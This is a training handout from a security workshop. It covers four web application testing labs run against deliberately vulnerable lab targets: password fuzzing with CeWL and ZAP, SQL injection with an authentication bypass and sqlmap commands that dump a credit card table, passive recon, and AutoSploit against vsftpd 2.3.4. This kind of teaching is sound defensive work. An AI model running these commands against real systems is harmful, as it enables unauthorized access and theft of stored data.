Web Application Testing

- approach and cheating to win

James McMurry
CEO
Milton Security Group
@jmcmurry

Lee Neely
Senior Cyber Analyst
Lawrence Livermore National Laboratory
@lelandneely

LLNL-ABS-751486
This work was performed under the auspices of the U.S. Department of Energy by Lawrence Livermore National Laboratory under contract

milton security
Lawrence Livermore National Laboratory

Table of Contents

LAB Synopsis

A classroom environment was provided for students to learn web application testing techniques. Two introductory level labs and two more advanced labs were provided.

Goal: Cover the basics of web application testing, give some hands-on experience trying to exploit targets, then cover cheating to win, aka shortcuts. The idea is adversaries take advantage of the latest tools, why can't we? After a quick overview of Web Application Security, we planned 4 hands-on labs.

Remember: Only use these tools and techniques with written permission.

The four labs:

Lab 1 Password Fuzzing with ZAP

Lab 2 SQL Injection

Lab 3 Passive Recon

Lab 4 ACTIVE Recon AND EXPLOTATION (CHEATING)

LAB Environment

- Workstations: Chrome Books with Kali Linux side-loaded including Mutilidae
- Server/Target: Metasploitable 2 Virtual Machines, one per workstation
- Connectivity via self-contained wireless network
- All of the tools and targets are freely available for creating your own home-lab.
  - Workstation tools included:
    - Crouton/Xfce4
    - Recon-ng
    - Nikto
    - Nmap
    - Zenmap
    - ZAP
    - Burp-CE
    - CeWl
    - Sqlmap
    - Autosploit
    - Metasploit
    - Netcat
    - Chrome
    - FoxyProxy

Lab 1: Password Fuzzing

- Used CeWL to gather a wordlist from the Mutillidae web site
- Upload that wordlist into ZAP to try every word against the Admin account to find its password
- Build Wordlist:
  - cewl -a -w /tmp/words.txt http://localhost/mutillidae
- Use ZAP with that wordlist to find the admin password
  - Start ZAP, Start Firefox, configure Firefox to use ZAP as proxy (127.0.0.1 port 8080)
  - Make sure localhost and 127.0.0.1 are not excluded from proxy
- Browse to the login page
  - In Firefox navigate to http://localhost/mutillidae/
  - Click the Login/Register link
  - Login with a username of ZAP and Password of ZAP.
- Configure ZAP to use that URL to attempt password guessing
  - Find Post request in ZAP history, right click, select Attack -> Fuzz
  - Select ZAP after username= and add that as a fuzz location, set the value to samurai
  - Select ZAP after the password= and add that as a fuzz location, set the value to the wordlist
  - Start the fuzzer, the payload shows the value sent. The response size will be different on success.

TAKEAWAY: WEBSITES ARE OFTEN LOADED WITH INFORMATION THAT CAN BE USED TO EXPLOIT THEM

Lab 2: SQL Injection

- Part A: Attempt SQL Injection techniques to bypass authentication on Mutillidae blog site
  - While entering a tautology, such as or 1=1 failed, entering a comment ' –' worked
  - This will work on the login page
  - Setup
    - Start ZAP
    - Start Firefox, configure to use ZAP as proxy
    - Use Firefox to login to http://localhost/mutillidae/index.php?page=login.php
    - Enter admin' -- ' and click login
    - In the ZAP history click the request tab and scroll for a session with a set cookie

Cookie: showhints=1; username=admin; uid=1; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24

    - Copy that for the next step
- Part B: Use SQLMap to probe site for SQL Injectable parameters in the Blog Application
  - Using the session cookie from above, SQLMap can check for vulnerabilities.
    - sqlmap -u "http://localhost/mutillidae/index.php?page=view-someones-blog.php" --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" --cookie="showhints=1; username=admin; uid=1; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24"
  - Dump the list of databases
    - sqlmap -u "http://localhost/mutillidae/index.php?page=view-someones-blog.php" --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" --cookie="showhints=1; username=admin; uid=1; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24" --dbs
  - Dump the list of tables in the mutillidae database
    - sqlmap -u "http://localhost/mutillidae/index.php?page=view-someones-blog.php" --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" --cookie="showhints=1; username=admin; uid=1; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24" -D mutillidae --tables
  - Dump the contents of the credit card table in the mutillidae database
    - sqlmap -u "http://localhost/mutillidae/index.php?page=view-someones-blog.php" --data="author=admin&view-someones-blog-php-submit-button=View+Blog+Entries" --cookie="showhints=1; username=admin; uid=1; PHPSESSID=6lmbhjodbtnj6o5ajuli7p1s24" -D mutillidae -T credit_cards –dump

TAKEAWAY: NON-SANITIZED INPUT CAN BE USED TO EXECUTE ARBITRARY COMMANDS ON THE BACK-END DATABASE, REVEALING MORE THAN IS EXPECTED.

Lab 3: Passive Recon

- Skipped due to time
- Passive Recon is all about knowing everything there is to know about your target with only public sources available to you, and to not raise any flags that your target would notice
- Many of these tools need Internet access to function

- This includes:
  - IP domains and sub-domains
  - People
  - Infrastructure and Technologies
  - Content and logs of potential interest

- Tools such as:
  - whois
  - dns
  - shodan
  - google-fu
  - Reon-NG
  - pastebin (maybe someone else came before you)
- Shodan: Go to shodanhq.com, and look for your target domain or technology

TAKEAWAY: USE READILY AVAILABLE INFORMATION TO FIND OUT ABOUT THE TARGET BEFORE TOUCHING THE TARGET.

Lab 4: Active Recon and Exploitation (CHEATING): AutoSploit

- Active Recon and Exploitation has gone full script-kiddie. In Jan 2018 a new tool called Autosploit was posted on GitHub.
- This tool uses Shodan and MSF to automatically do recon and exploit targets.
  - https://github.com/NullArray/AutoSploit
- This is cheating to win, ultimate edition.

- Showed how an identified target was vulnerable
- From the terminal
  - Cd Autosploit
  - Python ./autosploit.py
  - Configured to attack Metasploitable 2 VM VSFTPD 2.3.4 vulnerablity

TAKEAWAY: AUTOMATION IS YOUR FRIEND. USE CURRENT TOOLS TO GET A LEG UP ON TESTING.

THE ADVERSARIES ARE ALREADY USING THESE TOOLS TO ATTACK US, WHY NOT USE THEM TO VERIFY SECURITY POSTURE?